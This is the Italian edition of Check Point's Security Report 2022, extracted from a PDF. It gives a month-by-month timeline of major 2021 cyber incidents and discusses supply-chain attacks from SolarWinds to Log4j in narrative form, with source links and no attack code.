2CHECK POINT SOF T WARE | SECURIT Y REPORT 2022

Y O U D E S E R V E T H E B E S T S E C U R I T Y

3CHECK POINT SOF T WARE | SECURIT Y REPORT 2022

CAPITOLO 1: I INTRODUZIONE AL SECURIT Y REPORT 2022 DI CHECK POINT

CAPITOLO 2: T IMELINE DEI PRINCIPALI E VENTI CYBER DEL 2021

CAPITOLO 3: TENDENZE DI SICUREZ Z A INFORMATICA DEL 2021 13 Da SolarWinds a Log4j

17 Le Conseguenze degli Attacchi Informatici

21 Servizi Cloud Sotto Attacco

25 Sviluppi della Arena Mobile

28 Crepe nell’Ecosistema Ransomware

CAPITOLO 4: MALWARE SPOTLIGHT: IL RITORNO DI EMOTE T

CAPITOLO 5: STATISTICHE GLOBALI

41 Statistiche sul Malware Globale

43 Analisi Globale del Principale Malware

45 Analisi Globale delle Botnet

47 Analisi Globale del Malware Infostealer

49 Analisi Globale dei Cryptominer

51 Analisi Globale dei Trojan Bancari

53 Analisi Globale del Malware Mobile

C O N T E N U T I

00

07 12

31 34

4CHECK POINT SOF T WARE | SECURIT Y REPORT 2022

CAPITOLO 6: V ULNER ABIL ITA’ GLOBALI DI ALTO PROFILO 55 ‘Log4Shell’ Apache Log4j - Esecuzione Codice Remoto

(CVE-2021-44228)

56 ‘ProxyLogon’ Microsoft Exchange Server - Bypass di Autenticazi- one (CVE-2021-26855)

56 Atlassian Confluence - Esecuzione Codice Remoto

(CVE-2021-26084)

CAPITOLO 7: PRE VENIRE L A PROSSIMA PANDEMIA INFORMATICA —

UNA STR ATEGIA PER OT TENERE UNA SICUREZ Z A OT TIMALE 60 Threat prevention - prevenire gli attacchi prima che si verifichino

60 Quando il tuo perimetro è ovunque e gli attacchi continuano ad avanzare, la tua azienda ha bisogno di una prevenzione accurata basata su una threat intelligence in tempo reale

61 Proteggere tutto, poichè tutto è un potenziale obiettivo

61 Sfruttare un'architettura unificata completa

62 Mantenere l'igiene di sicurezza

64 Conclusioni

APPENDICE: DESCRIZIONI DELLE FAMIGLIE MALWARE

54

59

65

5CHECK POINT SOF T WARE | SECURIT Y REPORT 2022 5CHECK POINT SOF T WARE | SECURIT Y REPORT 2022

01 C A P I T O L O 1

INTRODUZIONE AL SECURITY REPORT 2022 DI CHECK POINT

01

GLI ULTIMI DODICI MESI RAPPRESENTANO UNO DEI PERIODI PIÙ TURBOLENTI E DIROMPENTI DI SEMPRE, ALMENO PER QUANTO RIGUARDA LA SICUREZZA.

6CHECK POINT SOF T WARE | SECURIT Y REPORT 2022 6CHECK POINT SOF T WARE | SECURIT Y REPORT 2022

M A Y A H O R O W I T Z VP Research, Check Point

Gli ultimi dodici mesi rappresentano uno dei periodi più turbolenti e dirompenti mai

registrati, almeno per quanto riguarda la sicurezza. Mentre i governi e le aziende di

tutto il mondo hanno continuato a navigare nelle acque inesplorate di una pandemia

globale, la cosiddetta "nuova normalità" sembrava ancora molto lontana. Gli sforzi

di trasformazione digitale sono stati drammaticamente accelerati mentre le aziende

hanno abbracciato modalità di lavoro ibride e remote, ma le stesse domande sulla

maturità della sicurezza che hanno afflitto molte aziende nel 2020 sono rimaste fino

al 2021. Mentre alcune di queste domande rimangono in sospeso, gli attori delle

minacce non hanno perso tempo nel trasformare la situazione a loro vantaggio. I

cyberattacchi sono aumentati in media del 50% dal nostro ultimo rapporto annuale,

con il settore dell'istruzione e della ricerca ad aver subito il colpo maggiore, con

una media di 1.605 attacchi ogni settimana nell’intero l'anno. Come previsto, la

famigerata violazione di SolarWinds sembra aver dato il via a una tendenza di

attacchi alla catena di approvvigionamento che si è protratta per tutto l'anno, senza

mostrare segni di rallentamento.

In questo Security Report 2022, riveleremo i principali vettori e tecniche di

attacco che i nostri ricercatori di Check Point Software hanno osservato nel corso

dell'ultimo anno. Da una nuova generazione di metodi di attacco alla supply chain

altamente sofisticati, fino all'exploit della vulnerabilità Log4j che ha reso centinaia

di migliaia di aziende esposte a una potenziale violazione.

Inizieremo con un riepilogo mese per mese dei principali eventi informatici

dell'anno, prima di immergerci approfonditamente in alcune delle tendenze

emergenti che senza dubbio modelleranno l'anno a venire. Discuteremo di servizi

cloud, sviluppi nel panorama mobile e IoT, crepe nell'ecosistema ransomware,

del ritorno di Emotet e, naturalmente, della vulnerabilità zero-day Log4J che ha

costellato un anno già di per sè intenso.

C A P I T O L O 1

7CHECK POINT SOF T WARE | SECURIT Y REPORT 2022 7CHECK POINT SOF T WARE | SECURIT Y REPORT 2022

C A P I T O L O 2

02 TIMELINE DEI PRINCIPALI EVENTI CYBER DEL 2021

NEL 2021, ABBIAMO ASSISTITO A UN NUMERO INSOLITAMENTE ELEVATO DI ATTACCHI CHE HANNO PORTATO A INTERRUZIONI NELLA VITA QUOTIDIANA DEGLI INDIVIDUI, E IN ALCUNI CASI ANCHE MINACCIATO IL LORO SENSO DI SICUREZZA FISICA.

8CHECK POINT SOF T WARE | SECURIT Y REPORT 2022

A gennaio, il Dipartimento di Giustizia degli Stati Uniti ha confermato di essere stato colpito dall'attacco alla catena di fornitura di Solarwinds, e che il 3% delle caselle email dei suoi dipendenti era stato violato allo scopo di rubare dati sensibili. Il dipartimento conta oltre 100.000 dipendenti in una serie di agenzie di applicazione della legge, tra cui l'FBI, la Drug Enforcement Agency e l'US Marshals Service. Il Dipartimento di Giustizia è stato un acquirente di SolarWinds Orion, uno strumento che è stato utilizzato dagli hacker per eseguire questo attacco, portando a ben 18.000 clienti SolarWinds oggetto di una violazione. Il Dipartimento di Giustizia ha detto di aver appreso di essere una vittima la vigilia di Natale, rivelando che una piccola percentuale dei suoi account di posta elettronica Microsoft Office 365 era stata compromessa.

A Febbraio, la popolare piattaforma di streaming musicale, Spotify, è stata colpita un attacco di credential-stuffing, solo tre mesi dopo aver sperimentato un incidente simile. L'attacco ha utilizzato credenziali rubate da 100.000 account utente e ha sfruttato un database di login Spotify malevolo. L'attacco è stato segnalato a Spotify, che ha spinto la società a rilasciare un reset di password agli utenti interessati invalidando le credenziali rubate. La società ha sostenuto in una dichiarazione di avere anche lavorato per avere il database fraudolento fugato dal suo provider di servizi Internet, e ha osservato che l'attacco non era legato a una violazione della sicurezza di Spotify. I criminali informatici che effettuano il credential-stuffing sfruttano le persone che riutilizzano le stesse password su più account e piattaforme online. Gli attaccanti costruiscono semplicemente degli script automatizzati che provano sistematicamente ID e password rubate con vari tipi di account. Il 2 Marzo 2021, Volexity ha segnalato lo sfruttamento in natura delle vulnerabilità di Microsoft Exchange Server, CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, e CVE-2021-27065. Ulteriori indagini hanno scoperto che un attaccante stava sfruttando uno zero-day utilizzato in natura. L'aggressore stava usando la vulnerabilità per rubare l'intero contenuto di diverse caselle di posta degli utenti. Questa vulnerabilità è sfruttabile da remoto e non richiede autenticazione, conoscenze speciali o accesso a un ambiente specifico. E’ stato stimato che 250.000 server sono state vittima degli attacchi, inclusi server di circa 30.000 organizzazioni negli Stati Uniti, e 7.000 server nel Regno Unito. A venire colpiti sono stati anche la European Banking Authority, il Parlamento Norvegese, e la Commissione Cilena per il Mercato Finanziario (CMF).

01 GEN

03 MAR

02 FEB

https://www.darkreading.com/attacks-breaches/spotify-hit-with-another-credential-stuffing-attack/d/d-id/1340083 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26855 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26857 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26858 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-27065 https://www.checkpoint.com/latest-cyber-attacks/microsoft-exchange-hack/ https://www.forbes.com/sites/daveywinder/2021/03/09/eu-banking-authority-hacked-as-microsoft-exchange-attacks-continue/ https://www.forbes.com/sites/daveywinder/2021/03/09/eu-banking-authority-hacked-as-microsoft-exchange-attacks-continue/ https://www.forbes.com/sites/daveywinder/2021/03/09/eu-banking-authority-hacked-as-microsoft-exchange-attacks-continue/?sh=20c0b9f2fe06%20 https://www.reuters.com/article/us-norway-cyber-idUSKBN2B21TX https://www.reuters.com/article/us-norway-cyber-idUSKBN2B21TX https://www.bleepingcomputer.com/news/security/chiles-bank-regulator-shares-iocs-after-microsoft-exchange-hack/

9CHECK POINT SOF T WARE | SECURIT Y REPORT 2022

Nel mese di aprile, la National Security Agency (NSA) degli Stati Uniti, la Cybersecurity and Infrastructure Security Agency (CISA), e il Federal Bureau of Investigation (FBI) hanno pubblicato un avviso congiunto avvertendo che un gruppo APT collegato alla Russia, APT29, stava sfruttando cinque vulnerabilità in un attacco in corso contro obiettivi statunitensi. Secondo l'avviso, gli attori russi del Foreign Intelligence Service (SVR) (noti anche come APT29, Cozy Bear e The Dukes) hanno spesso utilizzato vulnerabilità pubblicamente note per condurre una scansione diffusa e lo sfruttamento contro i sistemi vulnerabili nel tentativo di ottenere credenziali di autenticazione per consentire ulteriori accessi. Le recenti attività SVR russe includono la compromissione degli aggiornamenti del software SolarWinds Orion, il targeting delle strutture di ricerca COVID-19 attraverso la distribuzione del malware WellMess, e lo sfruttamento di una vulnerabilità VMware che era uno zero-day al momento.

A maggio, un attacco ransomware ha interrotto le operazioni di routine di Colonial Pipeline, che trasporta il 45% del carburante consumato nella costa orientale degli Stati Uniti, tra cui diesel, benzina e jet fuel. Il presunto gruppo criminale russo DarkSide ransomware era dietro l'attacco. Colonial Pipeline è il più grande oleodotto di prodotti raffinati negli Stati Uniti, un sistema di 5.500 miglia (8.851 km) coinvolto nel trasporto di oltre 100 milioni di galloni dalla città texana di Houston al porto di New York. DarkSide utilizza il modello Ransomware-as-a-Service (RaaS), e si affida al programma di affiliazione per eseguire i suoi attacchi informatici. Colonial Pipeline ha pagato una richiesta di riscatto di quasi 5 milioni di dollari in cambio di una chiave di decrittazione. Più tardi, l'FBI ha dichiarato di aver recuperato la chiave privata del conto ransom e recuperato 63,7 dei bitcoin pagati.

JBS, il gigante americano della lavorazione della carne, è stato colpito da un attacco ransomware a Giugno che ha coinvolto le sue operazioni in Nord America e in Australia. L'FBI ha attribuito l'attacco al gruppo REvil ransomware. L'attacco ha costretto JBS a chiudere temporaneamente tutti i suoi stabilimenti di carne bovina negli Stati Uniti. Anche uno dei suoi stabilimenti canadesi è stato colpito, e l'azienda ha sospeso la macellazione di carne di manzo e di agnello in Australia fino a quando gli stabilimenti non sono tornati online. Il 9 giugno, l'amministratore delegato di JBL negli Stati Uniti ha rivelato che la società ha pagato 11 milioni di dollari agli hacker in una "decisione molto dolorosa ma necessaria", nonostante il fatto che la società è stata in grado di ripristinare la maggior parte dei suoi sistemi dai propri backup.

04 APR

06 GIU

05 MAG

https://www.fbi.gov/news/pressrel/press-releases/russian-foreign-intelligence-service-exploiting-five-publicly-known-vulnerabilities-to-compromise-us-and-allied-networks https://www.nytimes.com/2021/05/08/us/politics/cyberattack-colonial-pipeline.html https://www.bloomberg.com/news/articles/2021-05-13/colonial-pipeline-paid-hackers-nearly-5-million-in-ransom https://www.zdnet.com/article/fbi-attributes-jbs-ransomware-attack-to-revil/ https://www.bloomberg.com/news/articles/2021-05-31/meat-is-latest-cyber-victim-as-hackers-hit-top-supplier-jbs

10CHECK POINT SOF T WARE | SECURIT Y REPORT 2022

A luglio, il gruppo di ransomware REvil ha preso di mira più Managed Service Provider (MSP) e i loro clienti in un attacco alla catena di fornitura. Gli attori della minaccia hanno impiantato con successo un aggiornamento software dannoso per la gestione delle patch VSA della società IT Kaseya e lo strumento di monitoraggio dei clienti, che includeva il programma di installazione del malware. Si stima che 1.000 aziende siano state colpite dall'attacco. Il massiccio attacco alla catena di approvvigionamento effettuato da REvil durante il fine settimana del 4 luglio ha colpito numerosi clienti Kaseya con milioni di dollari richiesti in riscatto. Kaseya ha emesso un avviso di sicurezza sul proprio sito, avvertendo tutti i clienti di spegnere immediatamente il loro server VSA per prevenire la diffusione dell'attacco mentre indagava. Al fine di violare i server Kaseya VSA on- premise, REvil ha utilizzato una vulnerabilità zero-day che era in fase di correzione. La vulnerabilità era stata precedentemente rivelata a Kaseya dai ricercatori di sicurezza dell'Istituto olandese per la Vulnerability Disclosure (DIVD), e Kaseya stava convalidando la patch prima di distribuirla ai clienti. Tuttavia, la banda del ransomware REvil era un passo avanti a Kaseya e ha usato la vulnerabilità per portare a termine il proprio attacco, con riscatti che vanno da 45.000 a 5 milioni di dollari. Con l'attacco ai server VSA di Kaseya, l'affiliato di REvil aveva inizialmente preso di mira gli MSSP di Kaseya, con il chiaro intento di propagarsi ai clienti MSSP. L'attacco si è amplificato esponenzialmente dagli MSSP ai clienti effettivi.

Il più grande attacco distributed denial of service (DDoS) mai rilevato accade in agosto, con 17,2 milioni di richieste al secondo. L'attacco è stato facilitato dalla botnet Mirai, mirata a un'organizzazione nel settore finanziario. In questo specifico incidente, il traffico ha avuto origine da più di 20.000 bot in 125 paesi in tutto il mondo, con quasi il 15% dell'attacco proveniente dall'Indonesia, seguita da India, Brasile, Vietnam e Ucraina. Mirai è stato osservato per la prima volta nel 2016 prendere di mira i dispositivi Internet of Things (IoT), come le telecamere a circuito chiuso e i router. Da allora sono emerse numerose varianti della botnet, con unìespansione dei dispositivi presi di mira fino a includere router e server Linux, dispositivi Android e altri ancora.

Check Point Research ha visto un'impennata globale nel mercato nero dei falsi certificati vaccinali per il COVID-19 su Telegram, dopo gli annunci del presidente americano Biden sul mandato del vaccino. Il mercato nero si è espanso fino a servire 28 paesi, tra cui Austria, Emirati Arabi Uniti, Brasile, Regno Unito, Singapore e altri. Anche il prezzo dei certificati vaccinali falsi è saltato a livello globale, anche negli Stati Uniti, dove è raddoppiato da 100 a 200 dollari.

09 SET

08 AGO

07 LUG

https://thehackernews.com/2021/07/kaseya-revil-ransomware-attack.html https://helpdesk.kaseya.com/hc/en-gb/articles/4403440684689 http://helpdesk.kaseya.com/hc/en-gb/articles/4403440684689 https://thehackernews.com/2021/08/cloudflare-mitigated-one-of-largest.html https://www.securityweek.com/mirai-botnet-infects-devices-164-countries https://blog.checkpoint.com/2021/09/14/amid-vaccine-mandates-fake-vaccine-certificates-become-a-full-blown-industry/

11CHECK POINT SOF T WARE | SECURIT Y REPORT 2022

In ottobre, l'infrastruttura della gang ransomware REvil con sede in Russia, responsabile di numerosi attacchi ransomware, è stata compromessa e forzatamente abbattuta per la seconda volta in tre mesi, portando la loro operazione ad un arresto. Questo avviene dopo che il sito web di REvil "Happy Blog" è stato precedentemente chiusa a luglio (insieme alla sospetta scomparsa di uno dei leader della banda REvil "UNKN"), e dopo che è stato riportato in vita a settembre, da uno dei suoi restanti leader della banda. Il ransomware REvil è diventato famoso nel corso del 2021 con una serie di attacchi devastanti, soprattutto dopo il successo del riscatto della società alimentare JBS, per 11 milioni di dollari, e la successiva compromissione di Kaseya - una società statunitense di gestione del software, in luglio. Questi attacchi sempre più devastanti sono stati accompagnati da una maggiore pressione da parte delle autorità e dal lancio di un attacco offensivo contro l'infrastruttura di REvil e i suoi membri.

Il 14 novembre, Emotet, una delle più famigerate botnet della storia, è risorta dopo essere stata abbattuta dieci mesi prima, da un'operazione congiunta delle forze dell'ordine internazionali. Emotet ha usato la botnet Trickbot per avviare la sua operazione, quando le macchine già infettate con il trojan Trickbot hanno iniziato a scaricare ed eseguire l'ultima versione di Emotet. Emotet stesso è tornato ancora più forte di prima, con alcune nuove aggiunte alla sua cassetta degli attrezzi, come uno schema di crittografia aggiornato, offuscamenti del flusso di controllo e nuovi metodi di consegna.

Il 9 dicembre è stata segnalata una vulnerabilità acuta di esecuzione di codice remoto (RCE) nel pacchetto di logging Apache Log4j 2 versioni 2.14.1 e inferiori (CVE-2021- 44228). Apache Log4j è la più popolare libreria di log java con oltre 400.000 download dal suo progetto GitHub. È usata da un vasto numero di aziende in tutto il mondo, consentendo la registrazione in un'ampia serie di applicazioni popolari. Sfruttare questa vulnerabilità è semplice. La libreria Log4j è incorporata in quasi ogni servizio internet o applicazione con cui abbiamo familiarità, tra cui Twitter, Amazon, Microsoft, Minecraft e altri. Dopo l'epidemia, Check Point Research ha assistito a quella che sembra una repressione evolutiva, con nuove varianti dell'exploit originale introdotte rapidamente - oltre 60 in meno di 24 ore. Questa è stata chiaramente una delle vulnerabilità più gravi su Internet negli ultimi anni.

10 OTT

12 DIC

11 NOV

https://techcrunch.com/2021/10/18/revil-ransomware-group-goes-dark-after-its-tor-sites-were-hijacked/?guccounter=2 https://www.zdnet.com/article/revil-websites-down-after-governments-pressured-to-take-action-following-kaseya-attack/ https://www.bleepingcomputer.com/news/security/jbs-paid-11-million-to-revil-ransomware-225m-first-demanded/ https://www.europol.europa.eu/media-press/newsroom/news/world%E2%80%99s-most-dangerous-malware-emotet-disrupted-through-global-action https://research.checkpoint.com/2021/when-old-friends-meet-again-why-emotet-chose-trickbot-for-rebirth/ https://research.checkpoint.com/2021/the-laconic-log4shell-faq/ https://blog.checkpoint.com/2021/12/11/protecting-against-cve-2021-44228-apache-log4j2-versions-2-14-1/

12CHECK POINT SOF T WARE | SECURIT Y REPORT 2022

C A P I T O L O 3

TENDENZE DI SICUREZZA INFORMATICA DEL 2021

03

PER TUTTO IL 2021, GLI ATTACCHI ALLA SUPPLY CHAIN DEL SOFTWARE SONO CRESCIUTI SIA IN FREQUENZA CHE IN SCALA. I RICERCATORI HANNO CONCLUSO CHE GLI ATTACCHI ALLA CATENA DI APPROVVIGIONAMENTO DEL SOFTWARE SONO AUMENTATI DI NON MENO DEL 650% NELL’INTERO ANNO.

13CHECK POINT SOF T WARE | SECURIT Y REPORT 2022

DA SOLARWINDS A LOG4J Il famigerato attacco alla catena di fornitura SolarWinds è stato rilevato nel dicembre 2020,

ma la sua influenza sul panorama degli attacchi al cloud, con particolare riguardo agli attacchi

alla catena di fornitura, ha portato a includerlo nuovamente nel nostro rapporto. L'incidente

SolarWinds ha avuto origine con un sofisticato malware, Sunburst, incorporato in diverse

versioni compromesse di un prodotto di gestione delle risorse IT denominato SolarWinds Orion,

utilizzato da 33.000 clienti in tutto il mondo. L'aggiornamento dannoso, attribuito al gruppo di

minacce affiliato all'agenzia di intelligence russa chiamato 'Nobelium', ha trovato la sua strada

verso circa 18.000 società, infettando con successo circa 425 aziende della lista, Fortune 500,

così come i dipartimenti governativi degli Stati Uniti tra cui il Dipartimento della Sicurezza

Nazionale e il Dipartimento del Tesoro.

L O T E M F I N K E L S T E E N Director,

Threat Intelligence & Research

C A P I T O L O 3

L'attacco SolarWinds è stato un momento molto importante per la comunità della sicurezza, non solo per la portata dell'attacco, ma perché la tecnica che è stata utilizzata ha rivelato nuovi livelli di sofisticazione che hanno aumentato la minaccia di attacchi alla supply chain più in generale. La violazione di SolarWinds ha stabilito un nuovo tono e, come previsto, abbiamo visto il numero di incidenti alla catena di approvvigionamento del software crescere sulla sua scia. L'anno scorso, abbiamo visto il numero di incidenti aumentare di sei volte, e ci sono ancora una volta segnali che le aziende non sono preparate ad affrontare la minaccia".

https://research.checkpoint.com/2021/solarwinds-explained/ https://krebsonsecurity.com/2020/12/solarwinds-hack-could-affect-18k-customers/ https://research.checkpoint.com/2021/deep-into-the-sunburst-attack/ https://fortune.com/2020/12/15/solarwinds-hackers-u-s-agencies/ https://www.businessinsider.com/solarwinds-hack-explained-government-agencies-cyber-security-2020-12?r=US&IR=T

14CHECK POINT SOF T WARE | SECURIT Y REPORT 2022 14CHECK POINT SOF T WARE | SECURIT Y REPORT 2022

compongono la loro supply chain del software

con ruoli altamente privilegiati. Il 76% fornisce

ruoli che potrebbero consentire l'acquisizione di

account e, peggio ancora, oltre il 90% dei team

di sicurezza designati non era a conoscenza che

tali autorizzazioni fossero state concesse.

Naturalmente, i gruppi APT più importanti

sono parte integrante della tendenza. Il gruppo

nordcoreano Lazarus ha recentemente iniziato

a prendere di mira i fornitori di servizi IT per

lanciare attacchi alla supply chain, e una

nuova backdoor chiamata BLINDINGCAN è

già stata utilizzata per colpire un fornitore IT

lettone e una società di software sudcoreana.

Altri incidenti includono un attacco contro

un fornitore di CCTV condotto da un membro

del programma di affiliazione del gruppo

REvil ransomware. Secondo il CEO di Kaseya,

meno dello 0,1% dei clienti dell'azienda hanno

avuto accesso, ma poiché alcuni dei clienti

di Kaseya sono essi stessi MSP, ben 1.500

aziende sono state colpite dall’attacco. Gli

attori della minaccia hanno abilmente sfruttato

una vulnerabilità che colpisce i server VSA di

Kaseya rivolti a Internet. VSA è uno strumento

di monitoraggio remoto comunemente usato

dagli MSP per la gestione della rete e dei

dispositivi endpoint. Quando l'attacco è stato

scoperto da Kaseya, l'azienda ha inviato i suoi

clienti a chiudere i loro server VSA.

Come dettagliato nel nostro precedente report,

al di là della sua scala senza precedenti, la

principale innovazione di SolarWinds sta nella

sua tecnica. Per ottenere l'accesso alle risorse

sensibili di Microsoft 365 di un'organizzazione,

gli aggressori hanno prima utilizzato un

token falsificato per compromettere le reti

locali e on-premise, prima di spostarsi

lateralmente nell'ambiente cloud. Oggi,

possiamo chiaramente affermare che l'attacco

SolarWinds ha posto le basi per una rapida

impennata degli attacchi alla supply chain.

Per tutto il 2021, gli attacchi alla supply chain

del software sono cresciuti sia in frequenza

che in scala. I ricercatori hanno concluso che

gli attacchi alla supply chain del software sono

aumentati di non meno del 650% durante l'anno.

Uno studio pubblicato dall'Agenzia dell'Unione

Europea per la Sicurezza Informatica (ENISA)

ha esaminato due dozzine di incidenti e ha

scoperto che il 66% degli attacchi alla supply

chain sono stati commessi sfruttando una

vulnerabilità sconosciuta, mentre solo il 16% ha

sfruttato difetti noti del software. La maggior

parte degli attacchi ha effettivamente preso

di mira il codice del software. Quest'anno,

sembra che le organizzazioni siano state ancora

una volta colte largamente impreparate, dato

che un sondaggio ha concluso l'82% delle

aziende designa i fornitori di terze parti che

C A P I T O L O 3

https://www.darkreading.com/threat-intelligence/north-korea-s-lazarus-group-turns-to-supply-chain-attacks https://securityaffairs.co/wordpress/119051/cyber-crime/unc2465-supply-chain-attack.html https://www.cisa.gov/uscert/kaseya-ransomware-attack https://www.cisa.gov/uscert/ncas/current-activity/2021/07/04/cisa-fbi-guidance-msps-and-their-customers-affected-kaseya-vsa https://helpdesk.kaseya.com/hc/en-gb/articles/4403440684689-Important-Notice-July-2nd-2021 https://www.cisecurity.org/solarwinds https://venturebeat.com/2021/09/15/next-gen-software-supply-chain-attacks-up-650-in-2021/ https://portswigger.net/daily-swig/four-fold-increase-in-software-supply-chain-attacks-predicted-in-2021-report https://blog.wiz.io/82-of-companies-unknowingly-give-3rd-parties-access-to-all-their-cloud-data/

15CHECK POINT SOF T WARE | SECURIT Y REPORT 2022 15CHECK POINT SOF T WARE | SECURIT Y REPORT 2022

Quest'anno, il gruppo dietro l'attacco

SolarWinds stesso ha ripreso l'attività,

utilizzando l'approccio sviluppato per il primo

attacco e concentrandosi ancora una volta sulle

aziende che fanno parte della catena globale di

fornitura IT. Tuttavia, questa volta, viene presa

di mira una parte diversa della catena, vale a

dire i rivenditori di cloud e i fornitori di servizi

tecnologici. Queste aziende personalizzano,

implementano e gestiscono i servizi cloud

per i loro clienti. Il gruppo di minacce fa

chiaramente affidamento sull'accesso diretto

di queste aziende agli ambienti dei loro clienti

per ottenere l'accesso ai loro elenchi completi

di clienti in un unico colpo, impersonando

un partner di fiducia. L'operazione è in corso

da maggio 2021 e ha già colpito più di 140

rivenditori e fornitori, compromettendone 14.

Per tutta la seconda metà dell'anno, il gruppo

di minacce "Nobelium" è stato molto attivo, ma

con un tasso di successo inferiore a causa della

crescente consapevolezza. Il gruppo utilizza

molteplici tattiche, tra cui l'uso di credenziali

rubate ottenute tramite una campagna di furto

di informazioni da parte di un attore terzo,

sfruttando i privilegi di impersonificazione

delle applicazioni per raccogliere dati di posta

protetti, e abusando dell'autenticazione a più

fattori (MFA). La recente ondata di attacchi può

segnalare una crescita delle risorse investite

dal gruppo russo sponsorizzato dallo stato

nel campo delle operazioni della catena di

approvvigionamento, come mezzo per stabilire

Alla fine di ottobre, il popolare pacchetto

NPM "ua- parser-js", con milioni di download

settimanali, è stato compromesso dagli

aggressori. Per un periodo di quattro ore,

gli attori sono riusciti a prendere il controllo

dell'account NPM dello sviluppatore e hanno

inserito codice dannoso in tre versioni della

libreria NPM. La libreria, che viene utilizzata

per analizzare le stringhe dell'agente utente e

identificare il browser, il sistema operativo, la

CPU e altro, è utilizzata in migliaia di progetti,

compresi quelli di proprietà di Facebook,

Microsoft, Amazon, Google e Slack. Pertanto,

l'attacco alla catena di fornitura, in cui

sono stati distribuiti pacchetti compromessi

della libreria al posto di quella legittima, ha

permesso agli attori della minaccia di installare

malware su un gran numero di dispositivi

infetti. In questo caso, i dispositivi Linux e

Windows sono stati infettati con crypto-miner e

password-stealer.

Un altro incidente di rilievo ha avuto luogo

a novembre, quando diverse compagnie di

navigazione greche sono state colpite da

ransomware. Questo dopo che un comune

fornitore di servizi IT, Danaos Management

Consultants, è stato compromesso in un attacco

alla catena di approvvigionamento. L'incidente

ha paralizzato i canali di comunicazione delle

compagnie di navigazione, interrompendo il

contatto con altre navi, fornitori e agenti, e ha

anche portato alla perdita di dati.

C A P I T O L O 3

https://blogs.microsoft.com/on-the-issues/2021/10/24/new-activity-from-russian-actor-nobelium/ https://www.mandiant.com/resources/russian-targeting-gov-business https://www.mandiant.com/resources/russian-targeting-gov-business https://www.bleepingcomputer.com/news/security/popular-npm-library-hijacked-to-install-password-stealers-miners/ https://www.rapid7.com/blog/post/2021/10/25/npm-library-ua-parser-js-hijacked-what-you-need-to-know/ https://blog.sonatype.com/npm-project-used-by-millions-hijacked-in-supply-chain-attack https://www.maritime-executive.com/article/cyberattack-hits-multiple-greek-shipping-firms https://min.news/en/world/29d72504d76e21799a28f00dcd24012f.html

16CHECK POINT SOF T WARE | SECURIT Y REPORT 2022 16CHECK POINT SOF T WARE | SECURIT Y REPORT 2022

open-source. Non sorprende che abbia segnato

un perfetto 10 su 10 nel sistema di valutazione

CVSS.

A causa della scala della distribuzione della

libreria, Log4Shell è indicato come la

vulnerabilità più critica del 2021, con la piena

portata del danno ancora da determinare. La

Fondazione Apache ha relasciato da più fornitori

di sicurezza. Il tasso di sfruttamento della falla

Log4j è stato insolitamente alto da poco dopo la

sua esposizione. Check Point Research ha

osservata circa 40.000 tentativi di attacco 2 ore

dopo che la vulnerabilità Log4j è stata rivelata e

830.000 tentativi di attacco 72 ore dopo l'evento.

La vulnerabilità potrebbe potenzialmente

consentire agli attori della minaccia di accedere

a qualsiasi sistema che utilizza la libreria,

compresi i sistemi che sono utilizzati per

gestire le reti e le risorse dei clienti. Il danno

potenziale che potrebbe essere causato da

questa vulnerabilità in una libreria open source

dimostra l'immenso rischio posto da catene di

fornitura del software, soprattutto nei casi in

cui un progetto sottofinanziato, gestito da

diversi volontari part-time, è un componente

chiave su cui si basano migliaia di sistemi

informatici multimilionari in tutto il mondo.

un accesso persistente a obiettivi di interesse

per il governo russo.

Proprio quando pensavamo di aver finito di

riassumere il panorama della Supply Chain

per il 2021, la vulnerabilità zero-day Log4j è

stata esposta. Il pacchetto di log Apache Log4j

è la più popolare libreria di log Java con oltre

400.000 download giornalieri, ed è incorporato

in milioni di applicazioni basate su Java in tutto

il mondo. Tra le aziende che utilizzano Log4j

come pacchetto di log vi sono Cisco, Twitter,

Cloudflare, Tesla, Amazon, Apple e altri. Il

pacchetto Log4j registra i messaggi di errore;

secondo l'advisory, dell'Apache Foundation, un

attaccante che può controllare i messaggi di

log o i loro parametri potrebbe eseguire codice

arbitrario da un server esterno attraverso più

protocolli quando la sostituzione del lookup del

messaggio è abilitata. Solo una singola stringa

di testo è necessaria per sfruttare la falla.

Dalla sua scoperta il 9 dicembre, la falla

'Log4Shell' è stata attivamente sfruttata in

natura. La vulnerabilità, assegnata CVE-2021-

44228, potrebbe consentire ad un attaccante

non autenticato di eseguire codice dannoso o

prendere il controllo di qualsiasi sistema che

utilizza la versione vulnerabile di una libreria

C A P I T O L O 3

https://thehackernews.com/2021/12/extremely-critical-log4j-vulnerability.html https://logging.apache.org/log4j/2.x/security.html https://www.bitdefender.com/blog/labs/bitdefender-honeypots-signal-active-log4shell-0-day-attacks-underway-patch-immediately/ https://blog.checkpoint.com/2021/12/11/protecting-against-cve-2021-44228-apache-log4j2-versions-2-14-1/ https://thehackernews.com/2021/12/extremely-critical-log4j-vulnerability.html https://logging.apache.org/log4j/2.x/security.html https://twitter.com/DTCERT/status/1469258597930614787

17CHECK POINT SOF T WARE | SECURIT Y REPORT 2022 17CHECK POINT SOF T WARE | SECURIT Y REPORT 2022

O M E R D E M B I N S K Y Group Manager,

Data Research

LE CONSEGUENZE DEGLI ATTACCHI CYBER Non è un segreto che un attacco informatico, sia mirato che ampiamente distribuito, può avere

un impatto drammatico sulle prestazioni aziendali, l'integrità dei dati, il successo dei clienti,

la reputazione a lungo termine e, naturalmente, le finanze. Naturalmente, gli attacchi che

prendono di mira le infrastrutture critiche possono paralizzare la routine di un'organizzazione

così come la sua intera catena di approvvigionamento. Nel 2021, abbiamo assistito a un numero

insolitamente elevato di attacchi che hanno portato ad interruzioni nella vita quotidiana delle

persone, e in alcuni casi hanno persino minacciato il loro senso di sicurezza fisica. Che siano

finanziariamente o ideologicamente guidati, gli attori delle minacce sono costantemente alla

ricerca di una leva aggiuntiva e di nuovi modi per aumentare la pressione esercitata sulle loro

vittime.

C A P I T O L O 3

Come sottolineato nel nostro report di metà anno, gli incidenti di cyberattacchi sono in aumento su tutta la linea, poiché gli attori delle minacce approfittano delle circostanze mutevoli e degli sforzi affrettati verso la

digital transformation. A partire da questo report, gli attacchi cyber sono aumentati in media del 50% rispetto ai dati dell'anno scorso, ma i settori dell'istruzione e della ricerca sembrano aver subito il colpo maggiore, subendo una media di 1.605 attacchi su base settimanale".

